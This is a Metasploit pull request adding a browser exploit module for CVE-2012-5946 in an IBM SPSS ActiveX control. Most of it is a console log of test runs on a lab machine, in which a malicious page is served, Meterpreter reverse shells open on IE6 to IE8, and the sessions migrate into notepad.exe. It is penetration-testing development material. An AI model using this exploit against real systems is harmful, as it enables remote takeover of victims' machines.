rapid7/metasploit-framework — pull request #1868 by jvazquez-r7 (2013-05-26 05:24:52+00:00)
Title: Add module for CVE-2012-5946

Tested successfully with IBM SPSS SamplePower 3.0 (trial) with c1sizer.ocx 8.0.20071.39

Tested on IE6, IE7 and IE8 on WXPSP3
Tested on IE8 on W7SP1

The heap layout for the vulnerable actvx controls seems stable on my tests which allows a good exploitation successful rate on my tests.

* A test session on IE6 to IE8 on WXPSP3 and W7SP1

```
msf > use exploit/windows/browser/ibm_spss_c1sizer
msf exploit(ibm_spss_c1sizer) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.3:4444
[*] Using URL: http://0.0.0.0:8080/AgoF3D6mzuk0N
[*] Local IP: http://192.168.0.3:8080/AgoF3D6mzuk0N
[*] Server started.
msf exploit(ibm_spss_c1sizer) > [*] 192.168.0.3 ibm_spss_c1sizer - Requesting: /AgoF3D6mzuk0N
[*] 192.168.0.3 ibm_spss_c1sizer - Target selected as: IE 6 on Windows XP SP3
[*] 192.168.0.3 ibm_spss_c1sizer - Sending HTML...
[*] Sending stage (751104 bytes) to 192.168.0.3
[*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.3:53002) at 2013-05-26 00:17:53 -0500
[*] Session ID 1 (192.168.0.3:4444 -> 192.168.0.3:53002) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: IEXPLORE.EXE (3028)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1980
[+] Successfully migrated to process
[*] 192.168.0.3 ibm_spss_c1sizer - Requesting: /AgoF3D6mzuk0N
[*] 192.168.0.3 ibm_spss_c1sizer - Target selected as: IE 7 on Windows XP SP3
[*] 192.168.0.3 ibm_spss_c1sizer - Sending HTML...
[*] Sending stage (751104 bytes) to 192.168.0.3
[*] Meterpreter session 2 opened (192.168.0.3:4444 -> 192.168.0.3:53008) at 2013-05-26 00:18:40 -0500
[*] 192.168.0.3 - Meterpreter session 1 closed. Reason: Died
[*] Session ID 2 (192.168.0.3:4444 -> 192.168.0.3:53008) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2608)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2912
[+] Successfully migrated to process
[*] 192.168.0.3 ibm_spss_c1sizer - Requesting: /AgoF3D6mzuk0N
[*] 192.168.0.3 ibm_spss_c1sizer - Target selected as: IE 8 on Windows XP SP3
[*] 192.168.0.3 ibm_spss_c1sizer - Sending HTML...
[*] Sending stage (751104 bytes) to 192.168.0.3
[*] 192.168.0.3 - Meterpreter session 2 closed. Reason: Died
[*] Meterpreter session 3 opened (192.168.0.3:4444 -> 192.168.0.3:53010) at 2013-05-26 00:19:25 -0500
[*] Session ID 3 (192.168.0.3:4444 -> 192.168.0.3:53010) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1840)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2448
[+] Successfully migrated to process
[*] 192.168.0.3 ibm_spss_c1sizer - Requesting: /AgoF3D6mzuk0N
[*] 192.168.0.3 ibm_spss_c1sizer - Target selected as: IE 8 on Windows 7
[*] 192.168.0.3 ibm_spss_c1sizer - Sending HTML...
[*] Sending stage (751104 bytes) to 192.168.0.3
[*] Meterpreter session 4 opened (192.168.0.3:4444 -> 192.168.0.3:53012) at 2013-05-26 00:19:57 -0500
[*] Session ID 4 (192.168.0.3:4444 -> 192.168.0.3:53012) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (940)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3100
[+] Successfully migrated to process

```